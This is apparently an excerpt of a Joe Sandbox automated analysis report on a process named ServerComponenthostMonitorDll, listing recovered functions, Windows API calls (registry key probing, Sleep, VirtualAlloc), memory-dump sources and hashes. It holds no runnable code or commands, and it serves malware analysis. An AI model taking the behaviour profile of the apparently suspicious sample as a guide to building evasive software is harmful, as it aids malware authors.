GetEnvironmentStringsW.KERNEL32 ref: 1AFFD149
FreeEnvironmentStringsW.KERNEL32 ref: 1AFFD20D

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: 6655d75d81b3f5d3cdd8ffb71a0db4099f6c7b3c7a68dca63c88ca8711a21244
Instruction ID: 6df6926c78eed730dcae7a2086944595cddd9cd735a96f43ededa799c59bf4a2
Opcode Fuzzy Hash: 6655d75d81b3f5d3cdd8ffb71a0db4099f6c7b3c7a68dca63c88ca8711a21244
Instruction Fuzzy Hash: 3821D833B0479485DB209F12A44010AB7A4FB88FD4F494925DFAD63BF8DF38D0568344

Function 1AFF1C28 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1AFF1650: GetProcessHeap.KERNEL32 ref: 1AFF165B
Part of subcall function 1AFF1650: RtlAllocateHeap.NTDLL ref: 1AFF166A
Part of subcall function 1AFF1650: RegOpenKeyExW.ADVAPI32 ref: 1AFF16DA
Part of subcall function 1AFF1650: RegOpenKeyExW.ADVAPI32 ref: 1AFF1707
Part of subcall function 1AFF1650: RegCloseKey.ADVAPI32 ref: 1AFF1721
Part of subcall function 1AFF1650: RegOpenKeyExW.ADVAPI32 ref: 1AFF1741
Part of subcall function 1AFF1650: RegCloseKey.ADVAPI32 ref: 1AFF175C
Part of subcall function 1AFF1650: RegOpenKeyExW.ADVAPI32 ref: 1AFF177C
Part of subcall function 1AFF1650: RegCloseKey.ADVAPI32 ref: 1AFF1797
Part of subcall function 1AFF1650: RegOpenKeyExW.ADVAPI32 ref: 1AFF17B7
Part of subcall function 1AFF1650: RegCloseKey.ADVAPI32 ref: 1AFF17D2
Part of subcall function 1AFF1650: RegOpenKeyExW.ADVAPI32 ref: 1AFF17F2

Sleep.KERNEL32 ref: 1AFF1C43
SleepEx.KERNELBASE ref: 1AFF1C49

Part of subcall function 1AFF1650: RegCloseKey.ADVAPI32 ref: 1AFF180D
Part of subcall function 1AFF1650: RegOpenKeyExW.ADVAPI32 ref: 1AFF182D
Part of subcall function 1AFF1650: RegCloseKey.ADVAPI32 ref: 1AFF1848
Part of subcall function 1AFF1650: RegOpenKeyExW.ADVAPI32 ref: 1AFF1868
Part of subcall function 1AFF1650: RegCloseKey.ADVAPI32 ref: 1AFF1883
Part of subcall function 1AFF1650: RegOpenKeyExW.ADVAPI32 ref: 1AFF18A3
Part of subcall function 1AFF1650: RegCloseKey.ADVAPI32 ref: 1AFF18BE
Part of subcall function 1AFF1650: RegCloseKey.ADVAPI32 ref: 1AFF18C8

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocateProcess
String ID:
API String ID: 462584604-0
Opcode ID: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction ID: 7ed86c23eb6553bcc22fdae8a6f633febdb9df005278e100fee2d69884b74959
Opcode Fuzzy Hash: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction Fuzzy Hash: A021FA3B302B0591EB049F36EA4032E33B4AB4ABC4F455822CF098777DEF65D4618268

Function 00007FFD9BAC0B47 Relevance: 2.5, Strings: 2, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

c9, xrefs: 00007FFD9BAC0B56
!k9, xrefs: 00007FFD9BAC0B4E

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID: c9$!k9
API String ID: 0-3254877420
Opcode ID: adcbce3d205e8b98fd7cbec620fc3e9457b48c561759b3c04dbfb8dd5a99dd76
Instruction ID: 132597df9a078f763926d6f390a44127c261dffd70019c15ee22e59ace284fef
Opcode Fuzzy Hash: adcbce3d205e8b98fd7cbec620fc3e9457b48c561759b3c04dbfb8dd5a99dd76
Instruction Fuzzy Hash: BEF0463372E55E4BC706AB7CF8600F8B780EB9313178603F7D044C71A2D511245AC780

Function 00007FFD9BECC005 Relevance: 1.5, Strings: 1, Instructions: 239
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Fy], xrefs: 00007FFD9BECC0B4

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID: Fy]
API String ID: 0-3512072136
Opcode ID: c01fc0b171355c867aec9a7de32409eaa6a8dd58fe4139ef478009eb20ae62aa
Instruction ID: 8c0328492bb7b7962e9375187d49f292bc33de25bae0eb581a4936dd0b588664
Opcode Fuzzy Hash: c01fc0b171355c867aec9a7de32409eaa6a8dd58fe4139ef478009eb20ae62aa
Instruction Fuzzy Hash: 59714B63F0F68E4FE7A1DB989C364F97B74EF51314B0A01BAD089C72E3D9156A028790

Function 00007FFD9BECBF65 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

Fy], xrefs: 00007FFD9BECC0B4

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID: Fy]
API String ID: 0-3512072136
Opcode ID: d22d761d950a03534b18ff893076f79d70f6c886c20c8d2fb5bb970d98ca979f
Instruction ID: 1b5ac4377916a19dcfbc756d64295b523627ddfe52d49c60f7eec20d1a3613c2
Opcode Fuzzy Hash: d22d761d950a03534b18ff893076f79d70f6c886c20c8d2fb5bb970d98ca979f
Instruction Fuzzy Hash: D5715A63F0F68E4FE765EBA89C324F97BB4EF51314B0A01B6D089C72E3D9116A018791

Function 00007FFD9BECBFC5 Relevance: 1.5, Strings: 1, Instructions: 231COMMON

Download Yara Rule

Strings

Fy], xrefs: 00007FFD9BECC0B4

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID: Fy]
API String ID: 0-3512072136
Opcode ID: d23b8002b1043e0b42c7fe2dac9f823f2476e7f65567ce6e6e658c345f6d7eec
Instruction ID: 4b85b9ddad8f489f756eafd21c31395d73cd9281cd579b4eaeab003586a91541
Opcode Fuzzy Hash: d23b8002b1043e0b42c7fe2dac9f823f2476e7f65567ce6e6e658c345f6d7eec
Instruction Fuzzy Hash: 1E613A63F0F68E4FE761EBA89C324F97BB4EF51314B0A01B6D089C72E3D9156A018791

Function 00007FFD9BECBFE3 Relevance: 1.5, Strings: 1, Instructions: 213COMMON

Download Yara Rule

Strings

Fy], xrefs: 00007FFD9BECC0B4

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID: Fy]
API String ID: 0-3512072136
Opcode ID: 1c7161c57ddee6338d8241c05c5212a0e10506cd41e224cc9125f10851a22c43
Instruction ID: d115c67b75e04d1f0c06e19c65121d426020de7bf99d19da94e59cc754fe1a26
Opcode Fuzzy Hash: 1c7161c57ddee6338d8241c05c5212a0e10506cd41e224cc9125f10851a22c43
Instruction Fuzzy Hash: BB511863F0F68E4FE761DBA88C315B87F74EF51214B0601BAD099D72E3D9116A018791

Function 1AFC2908 Relevance: 1.4, APIs: 1, Instructions: 186memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 1AFC29AA

Memory Dump Source

Source File: 0000000D.00000002.2257956900.000000001AFC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 1AFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1afc0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction ID: d93c06b081cb921710fc149b15358152c5d7b71d4f26c8282ffb44124da59941
Opcode Fuzzy Hash: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction Fuzzy Hash: 8A61E07A70179287CB58EF26D480B2DB391FB44BA4F418526DA1D07749EB38E493C710

Function 00007FFD9BEC4D08 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD9BEC4D82

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: ffa48fb275cec3172af6e6cfa0432071cd6ef699ba76af2062df9060d62b7cd9
Instruction ID: 134ee09a25125d88f507a9f09160e1d36ab9b62cd1dff296da5698ad178d1c3b
Opcode Fuzzy Hash: ffa48fb275cec3172af6e6cfa0432071cd6ef699ba76af2062df9060d62b7cd9
Instruction Fuzzy Hash: 39513F71E0A64E8FEB59EB98C4605BDB7B5FF54310F1141BED019EB2A6CB396A01CB40

Function 00007FFD9BEC9D48 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD9BEC9DB2

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: d0c9b5c851fa77709714c34d118a6c36e75af40498a766d8541c45a11629a081
Instruction ID: 6d8b59b4f15aca8622d31f8be0b8c82e142e665f20b440126c876f9257016c3f
Opcode Fuzzy Hash: d0c9b5c851fa77709714c34d118a6c36e75af40498a766d8541c45a11629a081
Instruction Fuzzy Hash: BF517F35E0A50E9FDB5ADB98C4685FDBBB1FF55300F1141BAD01AEB2A6CB356A01CB40

Function 00007FFD9BECF2B8 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD9BECF332

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 41f926c130d5dada1914e01a6d086eb0b82ff416e6c0be2566d22bfef0890228
Instruction ID: 02ada28ece0e2518bbcf8564181178dc63ef2828d42c99ef5f91f7aeec11ebb0
Opcode Fuzzy Hash: 41f926c130d5dada1914e01a6d086eb0b82ff416e6c0be2566d22bfef0890228
Instruction Fuzzy Hash: 82515D71E0964E8FDB58EF98C4A15BCB7B5FF58304F1141BAD01AE7292CB396A09CB50

Function 00007FFD9BEC2CA0 Relevance: .7, Instructions: 697COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 167ebe8026cfbaabe5f10cd3a9ffea9cca11708ac6fc7e786a38b2e3e33fb2af
Instruction ID: 2bb09413b1cac95c3409220d4185f1f61faff3be57b34fd4d3777efdc0dc5770
Opcode Fuzzy Hash: 167ebe8026cfbaabe5f10cd3a9ffea9cca11708ac6fc7e786a38b2e3e33fb2af
Instruction Fuzzy Hash: 0A32A730B19A1D8FDBA9EB48C866AB873E5FF54311B1141B9D01EC72A2DE35AD45CB80

Function 00007FFD9BEC223D Relevance: .5, Instructions: 506COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e66b831a1f4f97545c154317e8bd9ce0c361e9965d04d17fd9f656b0dab8c492
Instruction ID: 5c9c685e65fffa59b6fd128c0120e996c6e8f0c9d76bbd8566415bff4935180d
Opcode Fuzzy Hash: e66b831a1f4f97545c154317e8bd9ce0c361e9965d04d17fd9f656b0dab8c492
Instruction Fuzzy Hash: 5421CF12F1F68F8BF67DB6E8183507C5B487F55360F5B01BAD49D8A1E2DC4E2A416382

Function 00007FFD9BECAFF1 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99a6d1cbcdb0bd08aec44c74d4789de82bb7b56c47d898acafb49a83b92ec2ff
Instruction ID: 84e4f40ac68afcbf3241daff36dfa979997be7985047e1d402f3ad7b3118fb7d
Opcode Fuzzy Hash: 99a6d1cbcdb0bd08aec44c74d4789de82bb7b56c47d898acafb49a83b92ec2ff
Instruction Fuzzy Hash: 8802F434A1EA4E8FD778EFA8D4A15B977E5FF44300F11857EC04EC36A2DA2AB9418741

Function 00007FFD9BEC9F39 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc510e60b2fad32da3574f5527c4bb7a614000eb9ef8290367c7f8cd185c33a2
Instruction ID: 17693baf3176f536d6dbbe45ef6bd8e034eecd444e4aa9b5c89df086eb423a94
Opcode Fuzzy Hash: fc510e60b2fad32da3574f5527c4bb7a614000eb9ef8290367c7f8cd185c33a2
Instruction Fuzzy Hash: A1020530A1964D8FEB68DF58C4E46B477A1FF45300F5152BDC84ECB29ADA39E981CB41

Function 00007FFD9BEC4F09 Relevance: .4, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fd7d756cb04e7a6402fc579001d52bc7ca5f91637a7d5ea40b4408a8840b5f2
Instruction ID: b73a4d51bbd9470700b78884daab784bda24e9803530ab87b29cbe4052632a4d
Opcode Fuzzy Hash: 0fd7d756cb04e7a6402fc579001d52bc7ca5f91637a7d5ea40b4408a8840b5f2
Instruction Fuzzy Hash: 61F104306196498FEB68DF58C4E16B437E1FF55311F5442BDC84ACB29ACA39F982CB80

Function 00007FFD9BECC2E9 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc44f588530ba65a7050eec96b2d3edf7fa347bf4a28fc6e1ff5966241271fe8
Instruction ID: 7e80b559ca3455786a4c9712b6a28c73bbee3e037b7ab6a5d5483c2646576832
Opcode Fuzzy Hash: fc44f588530ba65a7050eec96b2d3edf7fa347bf4a28fc6e1ff5966241271fe8
Instruction Fuzzy Hash: C3D10331B0E94D4FE778FA5C98666B837C4FF88310B1502B9D45EC72A2DE19AD0687C1

Function 00007FFD9BEC1D59 Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d81f33eebad9e65465cff3245f0565afa47c5e2062f3947868d41d53eaee921
Instruction ID: 057542781f6875cde3ca9382958a03ca6f0ae3010d57f5af878556583b507c40
Opcode Fuzzy Hash: 3d81f33eebad9e65465cff3245f0565afa47c5e2062f3947868d41d53eaee921
Instruction Fuzzy Hash: B9D14931B0E58E4FE778FA6888665B83BD5FF54310B1502B9D05EC71B2DE29AD06C782

Function 00007FFD9BEC6D89 Relevance: .4, Instructions: 409COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 776c9a87f5580fff126c4c8987e6bd6c10cff5d2e0d0afe17cc932c047a28ac1
Instruction ID: 5bcc9110f3dc010edb41b4a2e0f7951bd1441f5f8148bffd5bbc4caabf13e682
Opcode Fuzzy Hash: 776c9a87f5580fff126c4c8987e6bd6c10cff5d2e0d0afe17cc932c047a28ac1
Instruction Fuzzy Hash: 4DD14931B0E58D4FE7B8FE58C4665B937C5FF64310B1502B9D45EC72B2DE2AAA068381

Function 00007FFD9BEC5FC1 Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31dcd7c349f99bc53ada06ce0ebb320b49704f8ef16caa54762544d06dcc006e
Instruction ID: 43d9cc616f23f8bc42055c18fef5162df41b8e07a17b93ec1521805611a72652
Opcode Fuzzy Hash: 31dcd7c349f99bc53ada06ce0ebb320b49704f8ef16caa54762544d06dcc006e
Instruction Fuzzy Hash: B0D12430A0EB4A8FD378EB58D4A157677E4FFA4304B11457EC48EC76A2DE2AB942C741

Function 00007FFD9BEC4F9F Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6339759842e7eb2849810b26762e75a6d44d3d8ff01e8a4a8c71a43f0d704735
Instruction ID: 1835abfceba485f485e9367f059078287f297377775bab541aedf7fdeeba7c2e
Opcode Fuzzy Hash: 6339759842e7eb2849810b26762e75a6d44d3d8ff01e8a4a8c71a43f0d704735
Instruction Fuzzy Hash: B0C1173061960A8BEB2CDF48C0E15B537E5FF55311B5546BDC84B8B69BCA38F942CB80

Function 00007FFD9BEC9FCF Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98ac3bf79acbfb2546e388dfae30417412fb506bc5e23706d659b6b2b76c88d3
Instruction ID: 2a87e93cfda5bcd833dd50cee134b3b5f0e7d5bc04af16efde7f7f545095c614
Opcode Fuzzy Hash: 98ac3bf79acbfb2546e388dfae30417412fb506bc5e23706d659b6b2b76c88d3
Instruction Fuzzy Hash: 36C1EF3061964A8BEB2DDF48C4F01B937A1FF45301B5156BDC84B8B29EDA39F981CB80

Function 00007FFD9BEC47F0 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb8ff89ad18e509e98f7f917589467512bddf62cc0df50527a73d90c0a02aed0
Instruction ID: 7012ac04c992f1ea67ce2299d56b353d9e36feb2ad069f0f122d2e038918970f
Opcode Fuzzy Hash: fb8ff89ad18e509e98f7f917589467512bddf62cc0df50527a73d90c0a02aed0
Instruction Fuzzy Hash: AAC10630A0DA4A8FE759EB68C0A06B4B7F4FF54310F55417DD04EC7A96DB29B951C780

Function 00007FFD9BEC9820 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe8657f177c216b31f36d4a5e1e720c39f3752c4d191321935f5e478b9092974
Instruction ID: 6073ea862b6a5b4444fa81fbeca83d8b95c1ea0471fe4ee3a675d6030ec0e07b
Opcode Fuzzy Hash: fe8657f177c216b31f36d4a5e1e720c39f3752c4d191321935f5e478b9092974
Instruction Fuzzy Hash: 63B1173460DA4A8FD35AEB68C0A46B4B7A4FF56300F4542B9D04EC7AD6CB39F951CB84

Function 00007FFD9BEC7247 Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eadfe63d364bc0b6f4c17a7de13aa4edda7a4972137d4668bad484a05e5304a9
Instruction ID: 5dc5b824738f5e55a7345a49859700dca6bcb3db81bad76e7a66f4ce41144d87
Opcode Fuzzy Hash: eadfe63d364bc0b6f4c17a7de13aa4edda7a4972137d4668bad484a05e5304a9
Instruction Fuzzy Hash: 3F21D952F0F56F46F67579E824314F87E487F11334F1A02B6D45D8A1F39C0E2A41539A

Function 00007FFD9BECEE3A Relevance: .3, Instructions: 282COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ded1971a80191a15867ec314babdcc2d4a8a112a76ac6906cb0e7d79b779a17
Instruction ID: 7d09b1b48ef63e2f93527f6239bd5b82d50cf71686bbf98969ddc24b5381b355
Opcode Fuzzy Hash: 7ded1971a80191a15867ec314babdcc2d4a8a112a76ac6906cb0e7d79b779a17
Instruction Fuzzy Hash: 83A12430A0EA4A8FE799EB68C0A15B4B7A5FF15300F4541B9D04ECBAD7CB39B955C780

Function 00007FFD9BECC7DC Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adf3af16b103473b99883adec4b6121a52fc73532dde8afcd3860348a1369146
Instruction ID: 7ca7b05efde6d35977c862bf592b0d83289fd397de4a91e1a002ab223405b602
Opcode Fuzzy Hash: adf3af16b103473b99883adec4b6121a52fc73532dde8afcd3860348a1369146
Instruction Fuzzy Hash: 1611E303F1F5DB8AF379F1A4083507825885F50760F1A06FAD49F862F3DC0E2A4052D2

Function 00007FFD9BECE316 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e9a5483524d98f3a9f00e447935bdec0dc8fd4b59c197b43922bfeeef2f954
Instruction ID: 31465e866f6a5bcbf9318801719bb40989de1e6395c21eb11be5a378028d3e78
Opcode Fuzzy Hash: 49e9a5483524d98f3a9f00e447935bdec0dc8fd4b59c197b43922bfeeef2f954
Instruction Fuzzy Hash: A6815D31B0EB4A4FE378AA6894615B977E4FF45310F15057EF48EC31A2DE2AB9028741

Function 00007FFD9BEC3D66 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 381419bba7509d7d21cf2006b1b5d423905f76feb4764fd5ce955bc960a6ee9c
Instruction ID: 27c7386174573227f17664636ad41fbd643ecdbdb17077432c2eaacd15e6d64b
Opcode Fuzzy Hash: 381419bba7509d7d21cf2006b1b5d423905f76feb4764fd5ce955bc960a6ee9c
Instruction Fuzzy Hash: AA715B31B0EB4A4FE339AA5894664F577E4EF81314B15057ED08FC32A2DE3AB9028741

Function 00007FFD9BECC7A7 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d82a734df0ecde457d0368a81ef86dedfaa476b3b3741142279b9511b4bb6935
Instruction ID: b5a10a7fc89ff266d4a07c2e805ae2da87c9dfc9e017f9aebc8d2aeb6a74e7e2
Opcode Fuzzy Hash: d82a734df0ecde457d0368a81ef86dedfaa476b3b3741142279b9511b4bb6935
Instruction Fuzzy Hash: 2221B312F0F19B8AF678F6E928350FC26485F54375F1605BAE45F8A2E3DC0E2A4052D6

Function 00007FFD9BEC2A8B Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

